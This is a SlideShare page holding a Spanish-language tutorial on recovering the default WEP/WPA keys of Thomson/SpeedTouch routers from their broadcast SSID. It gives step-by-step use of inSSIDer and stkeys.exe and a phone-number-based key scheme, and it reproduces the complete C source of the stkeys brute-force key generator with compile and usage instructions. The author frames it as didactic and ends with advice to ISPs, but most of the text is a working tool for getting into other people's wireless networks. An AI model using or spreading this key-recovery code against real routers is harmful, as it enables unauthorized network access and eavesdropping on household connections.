SlideShare a Scribd company logo
1 of 13
Vulnerabilidad en Routers marca Thomson
Autor: José de Paz (Guatemala)
jose.depaz@gmail.com
Este documento pretende ser de forma explícita, la opción de poder obtener la clave WEP de
los router Thomson, en sus versiones 6 y 7, de las cuales he hecho pruebas satisfactorias.
Estos routers son distribuidos en Mexico por una compañia que presta los servicios de
internet, en España creo que por Orange, y en Guatemala por la empresa que ya conocemos,
y que es la principal en los servicios de internet residencial.
Bueno, sin mas preambulo vamos a las prueba, que pienso que es lo que mas apreciamos, si
es cierto es lo que mas aprecio cuando alguien divulga algo interesante sobre las redes
inalámbricas, aunque después me toque que leer la introducción. (claro esta que en
emergencias la introducción se pasa por alto, si, eso, el conocimiento hace que saltemos ese
paso)
Materiales:
1. Sistema Operativo: en este ejercicio utilizo Windows Xp.
2. Software: inSSIDer 2.0 http://www.metageek.net/products/inssider
Figura No1. Acerca de inSSIDer
Aunque también se puede utilizar NetStumbler, (utilizado por excelencia):
http://www.netstumbler.com/downloads/ (para las antenas caseras me ha servido mucho para
direccionar la señal)
3. Tarjeta de Red Wifi: en este ejercicio he utilizado una marca Sabrent (vale también una
Alfa con chip Realtek 8187L):
Figura No 2. Propiedades Tarjeta Wifi con chip Realtek
4. Laptop: si, Porque? (despúes lo explico), con una bateria al 100% de carga y que dure
mas de una hora.
En que consiste?:
La vulnerabilidad o defecto de fábrica consiste en que, si observamos fisicamente estos
routers en la parte inferior, traen consigo una etiqueta donde esta el nombre del SSID por
defecto y su correspondientes claves WEP y WPA, que vienen siendo las mismas.
En la versión 6, el nombre del SSID que viene por defecto esta compuesto por la
siguiente cadena: SpeedTouch123456 y en la versión 7, esta cadena a cambiado por esta
otra: Thomson123456, denotando que los últimos seis caracteres son hexadecimales.
Resulta que conociendo estos caracteres hexadecimales, utilizando ingenieria reversa, se
puede llegar a obtener la clave WEP por default. Existe un programa desarrollado en C,
creado por él que hizo este estudio, el cual pueden encontrar en varios sitios:
http://www.gnucitizen.org/blog/default-key-algorithm-in-thomson-and-bt-home-hub-
routers/
http://foro.elhacker.net/hacking_wireless/routers_thomson_caso_espanol_redes_wepwpa_
%E2%80%9Cspeedtouchxxxxxx%E2%80%9D_al_descubierto-t208312.0.html
http://lampiweb.com/foro/index.php?topic=1763.0
En fin, si buscamos en la red, seguro que encontraremos mucha información al respecto.
Otra vulnerabilidad?
Para mi opinión creo que si, se trata del contenido de este ejercio, entonces manos a obra.
Resulta que por alguna extraña razón (y creo que no es asi) cuando se inicia o reinicia un
router de esta marca, nos da la grata sorpresa!!!
Ahora si, primer paso:
Abrir (ejecutar) el inSSIDer:
Figura No3. InSSIDer ejecutandose.
Entre las bondades de esta aplicación estan las de capturar las SSID que nos rodean, o sea
que nos muestra las redes que estan a nuestro alcance, para realizarlo solo hay que presionar
el botón “Start”, que se encuentra en la parte superior derecha, con esto se inicia el “scan”:
Figura No. 4. inSSIDer con redes detectadas
Como se podra observar, hay 6 redes detectadas, y se nos muestra las caracteristicas de
cada una, como la dirección MAC, el nombre del fabricante, etc., pero la información que
nos interesa es el SSID y que el fabricante sea “Thomson”.
Ahora solo resta iniciar o reiniciar el router, y alli es donde nos muestra su defecto ( o
virtud), depende de que lado estemos para hacer la critica, procedo entonces a reiniciar el
primero que sale en la lista, y observar luego la siguiente figura. Se nos regala esa cadena
hexadecimal que necesitamos para luego aplicarla al programa stkeys.exe o cualquier otro
que mas nos guste, ya que actualmente hay hasta versiones GUI para aquellos que no son
adeptos al uso de la consola.
Entonces, para que una laptop con buena bateria, pues esto lo experimente en un día
lluvioso, cuando de repente se fue la luz (como se dice por aqui) y me quede a ciegas
trabajando con el reflejo de la pantalla, es esa ocasión la bateria estaba al 100%. Seguido,
como a la media hora, se nos hizo la luz, entonces iniciaron a resaltar también los bombillos,
la refrigeradora, los ventiladores, y entre ellos los ROUTERS marca Thomson, y asi fue
como buen observador vi de lo que la tarjeta WIFI se estaba alimentando.
Figura No 5. SSID inicial cuando se inicia el router Thomson
Figura No. 6. Usando WZCSVC para ver redes detectadas
Conclusión:
Llegando a este punto final, este ejercicio se aplica para aquellos routers en los cuales los
IPS no cambian la clave WEP/WPA que trae por default, bueno aca la critica desde el otro
lado, siendo yo un ISP tomaria en consideración lo siguiente:
1. Cambiar la clave WEP/WPA por default que traen los equipos de marca Thomson.
2. Siendo el punto 1 una vulnerabilidad, cambiaria los equipos que distribuyo con el
servicio, en este caso los routers de esta marca, por una versión sin esta
vulnerabilidad.
3. Sabiendo que esta vulnerabilidad se repitio en la version 6 y 7, mejor cambio los
routers por otra marca.
Esperando que este documento sea para uso didáctico y que sea de mucha utilidad no solo
para lo cual fue presentado, sino para tomar en consideración para cuando necesitemos
contratar los servicios de un ISP, de forma particular o como empresa.
Esta vulnerabilidad la descubri hace aproximadamente 3 años, porque anteriormente esta
empresa T*****, configuraba el nombre del SSID con el número de teléfono, por ejemplo:
si el número telefónico era: 78895678, este mismo número colocaba como SSID, y la clave
WEP/WPA era nada mas y nada menos que este número convertido en hexadecimal, con lo
cual quedaría así:
SSID: 78895678
clave WEP: 4B3DA3E
pero la clave WEP deberia ser de 64 bits, que corresponde a 10 caracteres hexadecimales y
al convertir el número telefónico solo obtenemos 7 caractares, entonces idearon esto:
agregar un 1 al inicio y 10 en hexadecimal al final, entonces la clave quedaria así:
14B3DA3E0A (“1” + “4B3DA3E” + “0A”)
Hoy si, termino, divulgar estos conocimientos y aventuras, en ocasiones nos trae
consecuencias, tales como que te llamen “hacker”, y sabiendo que la palabra “hacker” la
asocian como “delincuente”, pero para alguien maduro y con otra perspectiva sabe que
todos llevamos un “hacker” adentro. O acaso nunca te ha tocado arrancar tu vehiculo al
empujon!!
Anexo: Codigo fuente
Author: Kevin Devine <wyse101 0x40 gmail.com>
Date: April 2008
/*
************************************************************************
**
* *
* Default WEP/WPA key generation for Thomson series wireless routers *
* *
* Date: March 15th 2008 *
* Author: Kevin Devine <wyse101@gmail.com> *
* *
************************************************************************
**
AFAIK, this is a well known problem by some ISP.
It is likely to affect any owner of a Thomson wireless router with
default settings installed.
************************************************************************
**
The format of a serial number:
CP YY WW PP XXX (CC)
And from what i can tell of the following serial number taken from
router i received.
CP 06 15 JT 109 (53)
YY is the year produced. ( 2006 ) ?
WW is the week of year. ( some week of April ) ?
PP is the production code. ( JT ) factory code?
CC is the configuration code. ( 53 ) seems to be 00 - ZZ (0-9/A-Z)
I can only guess that the XXX values represent the unit number
************************************************************************
**
The key generation is simple enough.
Take as example: "CP0615JT109 (53)"
Remove the CC and PP values
"CP0615109"
Convert the XXX values to hexadecimal.
"CP0615313039"
Process with SHA-1
742da831d2b657fa53d347301ec610e1ebf8a3d0
The last 3 bytes are converted to 6 byte string, and appended to
the word "SpeedTouch" which becomes the default SSID.
"SpeedTouchF8A3D0"
The first 5 bytes are converted to a 10 byte string which
becomes the default WEP/WPA key.
"742DA831D2"
Thats it..
************************************************************************
**
I was unable to determine if its possible to obtain the base serial
number from the MAC, but it can't be ruled out.
The method of recovery here using brute force attack of the
default SSID octets, is pretty lame..but is enough for now.
Theoretically, with 3 octets, no more than ~2 attempts are required
before successfully accessing the router.
When only 2 octets are provided, (example:BT Voyager/Home Hub routers)
more potential keys are generated, with further required attempts -
an average of 80.
This still improves odds of an attacker gaining access
to WPA protected routers - more so if an attacker can capture a WPA
handshake and crack with Aircrack,Cain & Abel or offline with coWPAtty.
Obviously the problem is with implementation of key/ssid generation
and not WPA itself.
************************************************************************
**
The only solution _right now_ is to have customers either turn off wireless
(if its not being used), or change the default settings.
To compile, use:
gcc -fomit-frame-pointer -O3 -funroll-all-loops stkeys.c sha1.c -ostkeys
Use OpenSSL SHA-1 for this to run faster..
Example usage for ST585v6 router:
SSID: "SpeedTouchF8A3D0":
c:stkeys -v -iF8A3D0
Serial Number: CP0615**109 - potential key = 742DA831D2 <- this is the right one
Serial Number: CP0621**AHJ - potential key = 00651124D9
Found 2 potential keys.
*/
#include <stdio.h>
#include <getopt.h>
#include "sha1.h"
#define SHA1Init SHA1Reset
#define SHA1Update SHA1Input
#define SHA1Final SHA1Result
#define SHA1_CTX SHA1Context
typedef unsigned char u8;
typedef unsigned int u32;
const u8 charTable[]="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
const u8 hexTable[]="0123456789ABCDEF";
u8 serial[13]={'C','P','0',0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
#define SERIAL_LENGTH 12
#define MAX_SSID_OCTETS 6
#define DEFAULT_KEY_SIZE 5
#define hexmsb(x)(hexTable[((x & 0xf0) >> 4)])
#define hexlsb(x)(hexTable[ (x & 0x0f)])
void usage(char **argv) {
fprintf(stdout,"ntUso: %s [ -i <ssid octets> ] [ -o <output file> ]n"
"nt -i : Los octetos hexadecimales del SSID del router Thomson"
"nt -o : Especificar el fichero de salida para las posibles claves"
"nt -v : Imprime en pantalla las posibles claves encontradasnn",*argv);
exit(0);
}
/*
* convert hexadecimal ssid string to binary
* return 0 on error or binary length of string
*
*/
u32 str2ssid(u8 ssid[],u8 *str) {
u8 *p,*q = ssid;
u32 len = strlen(str);
if( (len % 2) || (len > MAX_SSID_OCTETS) )
return(0);
for(p = str;(*p = toupper(*p)) && (strchr(hexTable,*p)) != 0;) {
if(--len % 2) {
*q = ((u8*)strchr(hexTable,*p++) - hexTable);
*q <<= 4;
}else {
*q++ |= ((u8*)strchr(hexTable,*p++) - hexTable);
}
}
return( (len) ? 0 : (p - str) / 2);
}
/*
* print 5 bytes to output file
*
*/
void dump_key(FILE *out, u8 *key) {
u32 i;
u8 *p = key;
for(i = 0;i < DEFAULT_KEY_SIZE;i++)
fprintf(out,"%.2X",*p++);
fprintf(out,"n");
}
int main(int argc, char **argv) {
u8 sha1_digest[40]={0};
u8 ssid[8]={0},buf[8]={0},year,week,x1,x2,x3;
u32 keys = 0,ssidLen = 0,verbose = 0, opt = 0;
u8 *p,*q,*strId = NULL;
FILE *ofile = NULL;
SHA1_CTX sha1_ctx;
if(argc > 1) {
while( (opt = getopt(argc, argv,"vo:i:")) != -1) {
switch(opt) {
case 'i' :
strId = optarg;
break;
case 'o' :
if((ofile = fopen(optarg,"wb")) == NULL) {
fprintf(stderr,"nNo puedo abrir %s para la salida.n",optarg);
return(0);
}
break;
case 'v' :
verbose++;
break;
default:
usage(argv);
}
}
if(!strId) usage(argv);
if(!(ssidLen = str2ssid(ssid,strId))) usage(argv);
fprintf(stdout,"nGenerando claves... por favor esperann");
// generate values only for 2005/2007..change if you want.
for(year = 5;year <= 7;year++) {
serial[3] = year | '0';
// 52 weeks of the year
for(week = 1;week <= 52;week++) {
serial[4] = (week / 10) + '0';
serial[5] = (week % 10) + '0';
for(x1 = 0;x1 < 36;x1++) {
serial[6] = hexmsb(charTable[x1]);
serial[7] = hexlsb(charTable[x1]);
for(x2 = 0;x2 < 36;x2++) {
serial[8] = hexmsb(charTable[x2]);
serial[9] = hexlsb(charTable[x2]);
for(x3 = 0;x3 < 36;x3++) {
serial[10] = hexmsb(charTable[x3]);
serial[11] = hexlsb(charTable[x3]);
// hash serial number with sha-1
SHA1Init(&sha1_ctx);
SHA1Update(&sha1_ctx,serial,SERIAL_LENGTH);
SHA1Final(&sha1_ctx,sha1_digest);
// compare SSID octets with last number of bytes supplied
if(memcmp(&sha1_digest[(20-ssidLen)],ssid,ssidLen) == 0) {
keys++;
if(verbose) {
memcpy(buf,serial,6);
fprintf(stdout,
"Número de Serie: %s**%C%C%C - posible clave = ",
buf,charTable[x1],charTable[x2],charTable[x3]);
dump_key(stdout,sha1_digest);
}
if(ofile) {
dump_key(ofile,sha1_digest);
}
}
}
}
}
}
}
fprintf(stdout,"nResultado: %d posibles claves.nn",keys);
if(ofile) fclose(ofile);
}
else {
usage(argv);
}
return(0);
}

More Related Content

What's hot

Tutorial wifiway 2.0.1 wpa-psk by nok-2551
Tutorial wifiway 2.0.1   wpa-psk by nok-2551Tutorial wifiway 2.0.1   wpa-psk by nok-2551
Tutorial wifiway 2.0.1 wpa-psk by nok-2551Ismael Antonio
 
Workshop Seguridad Wireless
Workshop Seguridad WirelessWorkshop Seguridad Wireless
Workshop Seguridad WirelessJaime Restrepo
 
Wi Fi Slax 3.1 Fist Conference
Wi Fi Slax 3.1 Fist ConferenceWi Fi Slax 3.1 Fist Conference
Wi Fi Slax 3.1 Fist ConferencePC COMPUTER
 
Flisol aragon Pentest básico en redes locales
Flisol aragon   Pentest básico en redes localesFlisol aragon   Pentest básico en redes locales
Flisol aragon Pentest básico en redes localesRodrigo Moreno
 
Cain & abel (sniffer)
Cain & abel (sniffer)Cain & abel (sniffer)
Cain & abel (sniffer)Tensor
 
Curso de hacking avanzado
Curso de hacking avanzadoCurso de hacking avanzado
Curso de hacking avanzadoYULI-CASTRO
 
El libro negro del hacker
El libro negro del hackerEl libro negro del hacker
El libro negro del hackermaster192
 
Hacking a i os ipad iphone
Hacking a i os ipad iphoneHacking a i os ipad iphone
Hacking a i os ipad iphoneRafael Pineda
 
Cracking wep con kali linux
Cracking wep con kali linuxCracking wep con kali linux
Cracking wep con kali linuxNick Carter
 

What's hot (15)

Tutorial wifiway 2.0.1 wpa-psk by nok-2551
Tutorial wifiway 2.0.1   wpa-psk by nok-2551Tutorial wifiway 2.0.1   wpa-psk by nok-2551
Tutorial wifiway 2.0.1 wpa-psk by nok-2551
 
Backtrack 3
Backtrack 3Backtrack 3
Backtrack 3
 
Workshop Seguridad Wireless
Workshop Seguridad WirelessWorkshop Seguridad Wireless
Workshop Seguridad Wireless
 
Modemmd300 arnet-karmic
Modemmd300 arnet-karmicModemmd300 arnet-karmic
Modemmd300 arnet-karmic
 
Wi Fi Slax 3.1 Fist Conference
Wi Fi Slax 3.1 Fist ConferenceWi Fi Slax 3.1 Fist Conference
Wi Fi Slax 3.1 Fist Conference
 
Video
VideoVideo
Video
 
Flisol aragon Pentest básico en redes locales
Flisol aragon   Pentest básico en redes localesFlisol aragon   Pentest básico en redes locales
Flisol aragon Pentest básico en redes locales
 
Desencriptar claves wap
Desencriptar claves wapDesencriptar claves wap
Desencriptar claves wap
 
Cain & abel (sniffer)
Cain & abel (sniffer)Cain & abel (sniffer)
Cain & abel (sniffer)
 
Curso de hacking avanzado
Curso de hacking avanzadoCurso de hacking avanzado
Curso de hacking avanzado
 
El libro negro del hacker
El libro negro del hackerEl libro negro del hacker
El libro negro del hacker
 
Hacking a i os ipad iphone
Hacking a i os ipad iphoneHacking a i os ipad iphone
Hacking a i os ipad iphone
 
Crack redes wifi
Crack redes wifiCrack redes wifi
Crack redes wifi
 
Cracking wep con kali linux
Cracking wep con kali linuxCracking wep con kali linux
Cracking wep con kali linux
 
Qué es wep
Qué es wepQué es wep
Qué es wep
 

Viewers also liked

Viewers also liked (6)

Vulnerabilidad thomson
Vulnerabilidad thomsonVulnerabilidad thomson
Vulnerabilidad thomson
 
FriendlyARM Mini2440 Ubuntu 10.04.4
FriendlyARM Mini2440 Ubuntu 10.04.4FriendlyARM Mini2440 Ubuntu 10.04.4
FriendlyARM Mini2440 Ubuntu 10.04.4
 
NReports -Diseñador y Generador de Informes-
NReports -Diseñador y Generador de Informes-NReports -Diseñador y Generador de Informes-
NReports -Diseñador y Generador de Informes-
 
Tutorial consumir DLL C++ en C#
Tutorial consumir DLL C++ en C#Tutorial consumir DLL C++ en C#
Tutorial consumir DLL C++ en C#
 
Lazarus
LazarusLazarus
Lazarus
 
Tutorial usando FIBplus en Report Manager
Tutorial usando FIBplus en Report ManagerTutorial usando FIBplus en Report Manager
Tutorial usando FIBplus en Report Manager
 

Similar to Vulnerabilidad thomson

Definicion de red inalámbrica yami
Definicion de red inalámbrica yamiDefinicion de red inalámbrica yami
Definicion de red inalámbrica yamiYAMILEvale
 
Lo Primero Que Hacemos Es Con Una Tarjeta Wireless Pci O Pcmcia
Lo Primero Que Hacemos Es Con Una Tarjeta Wireless Pci O PcmciaLo Primero Que Hacemos Es Con Una Tarjeta Wireless Pci O Pcmcia
Lo Primero Que Hacemos Es Con Una Tarjeta Wireless Pci O Pcmciaitm
 
(Configuración de hardware y software de una red que consta de 7 equipos)
(Configuración de hardware y software de una red que consta de  7 equipos)(Configuración de hardware y software de una red que consta de  7 equipos)
(Configuración de hardware y software de una red que consta de 7 equipos)azu-r-g-c
 
Como montar una red inalambrica ad hoc
Como montar una red inalambrica ad hocComo montar una red inalambrica ad hoc
Como montar una red inalambrica ad hocDiego suarez murillo
 
Router Tp-Link TL-WR841N-TL-WR841ND
Router Tp-Link TL-WR841N-TL-WR841NDRouter Tp-Link TL-WR841N-TL-WR841ND
Router Tp-Link TL-WR841N-TL-WR841NDJAV_999
 
Auditoría wireless
Auditoría wirelessAuditoría wireless
Auditoría wirelessruben0909
 
Conceptos básicos de redes wifi y su seguridad
Conceptos básicos de redes wifi y su seguridadConceptos básicos de redes wifi y su seguridad
Conceptos básicos de redes wifi y su seguridadYsika Almoguera
 
Criterio y funcionamiento de un sniffer (cain & abel) (www.dragon jar.us)
Criterio y funcionamiento de un sniffer (cain & abel)  (www.dragon jar.us)Criterio y funcionamiento de un sniffer (cain & abel)  (www.dragon jar.us)
Criterio y funcionamiento de un sniffer (cain & abel) (www.dragon jar.us)Abraham Alvear Jimenez
 
ISummit Seguridad en Redes Inalambricas
ISummit Seguridad en Redes InalambricasISummit Seguridad en Redes Inalambricas
ISummit Seguridad en Redes InalambricasRommel Gutierrez Roa
 
Como montar una red inalambrica ad hoc
Como montar una red inalambrica ad hocComo montar una red inalambrica ad hoc
Como montar una red inalambrica ad hocrkdbeto
 
Como saber la contraseña de mi router
Como saber la contraseña de mi routerComo saber la contraseña de mi router
Como saber la contraseña de mi routerJhon TRUJILLO
 
Como montar una red inalambrica ad hoc
Como montar una red inalambrica ad hocComo montar una red inalambrica ad hoc
Como montar una red inalambrica ad hocjrarcangel
 
02. Internet. Aula Abierta. Conectar. Router Adsl. Linux
02. Internet. Aula Abierta. Conectar. Router Adsl. Linux02. Internet. Aula Abierta. Conectar. Router Adsl. Linux
02. Internet. Aula Abierta. Conectar. Router Adsl. LinuxJosé M. Padilla
 
Criterio y funcionamiento de un sniffer (cain & abel) (www.dragon jar.us)
Criterio y funcionamiento de un sniffer (cain & abel)  (www.dragon jar.us)Criterio y funcionamiento de un sniffer (cain & abel)  (www.dragon jar.us)
Criterio y funcionamiento de un sniffer (cain & abel) (www.dragon jar.us)Gabriel Romero Pastrana
 
Laura patricia-flores-dominguez
Laura patricia-flores-dominguezLaura patricia-flores-dominguez
Laura patricia-flores-dominguezlaura flures
 

Similar to Vulnerabilidad thomson (20)

Definicion de red inalámbrica yami
Definicion de red inalámbrica yamiDefinicion de red inalámbrica yami
Definicion de red inalámbrica yami
 
Lo Primero Que Hacemos Es Con Una Tarjeta Wireless Pci O Pcmcia
Lo Primero Que Hacemos Es Con Una Tarjeta Wireless Pci O PcmciaLo Primero Que Hacemos Es Con Una Tarjeta Wireless Pci O Pcmcia
Lo Primero Que Hacemos Es Con Una Tarjeta Wireless Pci O Pcmcia
 
(Configuración de hardware y software de una red que consta de 7 equipos)
(Configuración de hardware y software de una red que consta de  7 equipos)(Configuración de hardware y software de una red que consta de  7 equipos)
(Configuración de hardware y software de una red que consta de 7 equipos)
 
Como montar una red inalambrica ad hoc
Como montar una red inalambrica ad hocComo montar una red inalambrica ad hoc
Como montar una red inalambrica ad hoc
 
Red inalambrica
Red inalambricaRed inalambrica
Red inalambrica
 
Router Tp-Link TL-WR841N-TL-WR841ND
Router Tp-Link TL-WR841N-TL-WR841NDRouter Tp-Link TL-WR841N-TL-WR841ND
Router Tp-Link TL-WR841N-TL-WR841ND
 
Auditoría wireless
Auditoría wirelessAuditoría wireless
Auditoría wireless
 
Conceptos básicos de redes wifi y su seguridad
Conceptos básicos de redes wifi y su seguridadConceptos básicos de redes wifi y su seguridad
Conceptos básicos de redes wifi y su seguridad
 
Criterio y funcionamiento de un sniffer (cain & abel) (www.dragon jar.us)
Criterio y funcionamiento de un sniffer (cain & abel)  (www.dragon jar.us)Criterio y funcionamiento de un sniffer (cain & abel)  (www.dragon jar.us)
Criterio y funcionamiento de un sniffer (cain & abel) (www.dragon jar.us)
 
Curso de wifi y redes locales
Curso de wifi y redes localesCurso de wifi y redes locales
Curso de wifi y redes locales
 
ISummit Seguridad en Redes Inalambricas
ISummit Seguridad en Redes InalambricasISummit Seguridad en Redes Inalambricas
ISummit Seguridad en Redes Inalambricas
 
Como montar una red inalambrica ad hoc
Como montar una red inalambrica ad hocComo montar una red inalambrica ad hoc
Como montar una red inalambrica ad hoc
 
Como saber la contraseña de mi router
Como saber la contraseña de mi routerComo saber la contraseña de mi router
Como saber la contraseña de mi router
 
Como montar una red inalambrica ad hoc
Como montar una red inalambrica ad hocComo montar una red inalambrica ad hoc
Como montar una red inalambrica ad hoc
 
02. Internet. Aula Abierta. Conectar. Router Adsl. Linux
02. Internet. Aula Abierta. Conectar. Router Adsl. Linux02. Internet. Aula Abierta. Conectar. Router Adsl. Linux
02. Internet. Aula Abierta. Conectar. Router Adsl. Linux
 
Criterio y funcionamiento de un sniffer (cain & abel) (www.dragon jar.us)
Criterio y funcionamiento de un sniffer (cain & abel)  (www.dragon jar.us)Criterio y funcionamiento de un sniffer (cain & abel)  (www.dragon jar.us)
Criterio y funcionamiento de un sniffer (cain & abel) (www.dragon jar.us)
 
8609173 tecnologias-inalambricas
8609173 tecnologias-inalambricas8609173 tecnologias-inalambricas
8609173 tecnologias-inalambricas
 
Laura patricia-flores-dominguez
Laura patricia-flores-dominguezLaura patricia-flores-dominguez
Laura patricia-flores-dominguez
 
Wifi oskar
Wifi oskarWifi oskar
Wifi oskar
 
Wifi
Wifi Wifi
Wifi
 

Vulnerabilidad thomson

  • 1. Vulnerabilidad en Routers marca Thomson Autor: José de Paz (Guatemala) jose.depaz@gmail.com Este documento pretende ser de forma explícita, la opción de poder obtener la clave WEP de los router Thomson, en sus versiones 6 y 7, de las cuales he hecho pruebas satisfactorias. Estos routers son distribuidos en Mexico por una compañia que presta los servicios de internet, en España creo que por Orange, y en Guatemala por la empresa que ya conocemos, y que es la principal en los servicios de internet residencial. Bueno, sin mas preambulo vamos a las prueba, que pienso que es lo que mas apreciamos, si es cierto es lo que mas aprecio cuando alguien divulga algo interesante sobre las redes inalámbricas, aunque después me toque que leer la introducción. (claro esta que en emergencias la introducción se pasa por alto, si, eso, el conocimiento hace que saltemos ese paso) Materiales: 1. Sistema Operativo: en este ejercicio utilizo Windows Xp. 2. Software: inSSIDer 2.0 http://www.metageek.net/products/inssider Figura No1. Acerca de inSSIDer Aunque también se puede utilizar NetStumbler, (utilizado por excelencia): http://www.netstumbler.com/downloads/ (para las antenas caseras me ha servido mucho para direccionar la señal)
  • 2. 3. Tarjeta de Red Wifi: en este ejercicio he utilizado una marca Sabrent (vale también una Alfa con chip Realtek 8187L): Figura No 2. Propiedades Tarjeta Wifi con chip Realtek 4. Laptop: si, Porque? (despúes lo explico), con una bateria al 100% de carga y que dure mas de una hora. En que consiste?: La vulnerabilidad o defecto de fábrica consiste en que, si observamos fisicamente estos routers en la parte inferior, traen consigo una etiqueta donde esta el nombre del SSID por defecto y su correspondientes claves WEP y WPA, que vienen siendo las mismas. En la versión 6, el nombre del SSID que viene por defecto esta compuesto por la siguiente cadena: SpeedTouch123456 y en la versión 7, esta cadena a cambiado por esta otra: Thomson123456, denotando que los últimos seis caracteres son hexadecimales. Resulta que conociendo estos caracteres hexadecimales, utilizando ingenieria reversa, se puede llegar a obtener la clave WEP por default. Existe un programa desarrollado en C, creado por él que hizo este estudio, el cual pueden encontrar en varios sitios: http://www.gnucitizen.org/blog/default-key-algorithm-in-thomson-and-bt-home-hub- routers/
  • 3. http://foro.elhacker.net/hacking_wireless/routers_thomson_caso_espanol_redes_wepwpa_ %E2%80%9Cspeedtouchxxxxxx%E2%80%9D_al_descubierto-t208312.0.html http://lampiweb.com/foro/index.php?topic=1763.0 En fin, si buscamos en la red, seguro que encontraremos mucha información al respecto. Otra vulnerabilidad? Para mi opinión creo que si, se trata del contenido de este ejercio, entonces manos a obra. Resulta que por alguna extraña razón (y creo que no es asi) cuando se inicia o reinicia un router de esta marca, nos da la grata sorpresa!!! Ahora si, primer paso: Abrir (ejecutar) el inSSIDer: Figura No3. InSSIDer ejecutandose. Entre las bondades de esta aplicación estan las de capturar las SSID que nos rodean, o sea que nos muestra las redes que estan a nuestro alcance, para realizarlo solo hay que presionar
  • 4. el botón “Start”, que se encuentra en la parte superior derecha, con esto se inicia el “scan”: Figura No. 4. inSSIDer con redes detectadas Como se podra observar, hay 6 redes detectadas, y se nos muestra las caracteristicas de cada una, como la dirección MAC, el nombre del fabricante, etc., pero la información que nos interesa es el SSID y que el fabricante sea “Thomson”. Ahora solo resta iniciar o reiniciar el router, y alli es donde nos muestra su defecto ( o virtud), depende de que lado estemos para hacer la critica, procedo entonces a reiniciar el primero que sale en la lista, y observar luego la siguiente figura. Se nos regala esa cadena hexadecimal que necesitamos para luego aplicarla al programa stkeys.exe o cualquier otro que mas nos guste, ya que actualmente hay hasta versiones GUI para aquellos que no son adeptos al uso de la consola. Entonces, para que una laptop con buena bateria, pues esto lo experimente en un día lluvioso, cuando de repente se fue la luz (como se dice por aqui) y me quede a ciegas trabajando con el reflejo de la pantalla, es esa ocasión la bateria estaba al 100%. Seguido, como a la media hora, se nos hizo la luz, entonces iniciaron a resaltar también los bombillos, la refrigeradora, los ventiladores, y entre ellos los ROUTERS marca Thomson, y asi fue como buen observador vi de lo que la tarjeta WIFI se estaba alimentando.
  • 5. Figura No 5. SSID inicial cuando se inicia el router Thomson Figura No. 6. Usando WZCSVC para ver redes detectadas
  • 6. Conclusión: Llegando a este punto final, este ejercicio se aplica para aquellos routers en los cuales los IPS no cambian la clave WEP/WPA que trae por default, bueno aca la critica desde el otro lado, siendo yo un ISP tomaria en consideración lo siguiente: 1. Cambiar la clave WEP/WPA por default que traen los equipos de marca Thomson. 2. Siendo el punto 1 una vulnerabilidad, cambiaria los equipos que distribuyo con el servicio, en este caso los routers de esta marca, por una versión sin esta vulnerabilidad. 3. Sabiendo que esta vulnerabilidad se repitio en la version 6 y 7, mejor cambio los routers por otra marca. Esperando que este documento sea para uso didáctico y que sea de mucha utilidad no solo para lo cual fue presentado, sino para tomar en consideración para cuando necesitemos contratar los servicios de un ISP, de forma particular o como empresa. Esta vulnerabilidad la descubri hace aproximadamente 3 años, porque anteriormente esta empresa T*****, configuraba el nombre del SSID con el número de teléfono, por ejemplo: si el número telefónico era: 78895678, este mismo número colocaba como SSID, y la clave WEP/WPA era nada mas y nada menos que este número convertido en hexadecimal, con lo cual quedaría así: SSID: 78895678 clave WEP: 4B3DA3E pero la clave WEP deberia ser de 64 bits, que corresponde a 10 caracteres hexadecimales y al convertir el número telefónico solo obtenemos 7 caractares, entonces idearon esto: agregar un 1 al inicio y 10 en hexadecimal al final, entonces la clave quedaria así: 14B3DA3E0A (“1” + “4B3DA3E” + “0A”) Hoy si, termino, divulgar estos conocimientos y aventuras, en ocasiones nos trae consecuencias, tales como que te llamen “hacker”, y sabiendo que la palabra “hacker” la asocian como “delincuente”, pero para alguien maduro y con otra perspectiva sabe que todos llevamos un “hacker” adentro. O acaso nunca te ha tocado arrancar tu vehiculo al empujon!!
  • 7. Anexo: Codigo fuente Author: Kevin Devine <wyse101 0x40 gmail.com> Date: April 2008 /* ************************************************************************ ** * * * Default WEP/WPA key generation for Thomson series wireless routers * * * * Date: March 15th 2008 * * Author: Kevin Devine <wyse101@gmail.com> * * * ************************************************************************ ** AFAIK, this is a well known problem by some ISP. It is likely to affect any owner of a Thomson wireless router with default settings installed. ************************************************************************ ** The format of a serial number: CP YY WW PP XXX (CC) And from what i can tell of the following serial number taken from router i received. CP 06 15 JT 109 (53) YY is the year produced. ( 2006 ) ? WW is the week of year. ( some week of April ) ? PP is the production code. ( JT ) factory code? CC is the configuration code. ( 53 ) seems to be 00 - ZZ (0-9/A-Z) I can only guess that the XXX values represent the unit number ************************************************************************ ** The key generation is simple enough. Take as example: "CP0615JT109 (53)"
  • 8. Remove the CC and PP values "CP0615109" Convert the XXX values to hexadecimal. "CP0615313039" Process with SHA-1 742da831d2b657fa53d347301ec610e1ebf8a3d0 The last 3 bytes are converted to 6 byte string, and appended to the word "SpeedTouch" which becomes the default SSID. "SpeedTouchF8A3D0" The first 5 bytes are converted to a 10 byte string which becomes the default WEP/WPA key. "742DA831D2" Thats it.. ************************************************************************ ** I was unable to determine if its possible to obtain the base serial number from the MAC, but it can't be ruled out. The method of recovery here using brute force attack of the default SSID octets, is pretty lame..but is enough for now. Theoretically, with 3 octets, no more than ~2 attempts are required before successfully accessing the router. When only 2 octets are provided, (example:BT Voyager/Home Hub routers) more potential keys are generated, with further required attempts - an average of 80. This still improves odds of an attacker gaining access to WPA protected routers - more so if an attacker can capture a WPA handshake and crack with Aircrack,Cain & Abel or offline with coWPAtty. Obviously the problem is with implementation of key/ssid generation and not WPA itself. ************************************************************************ **
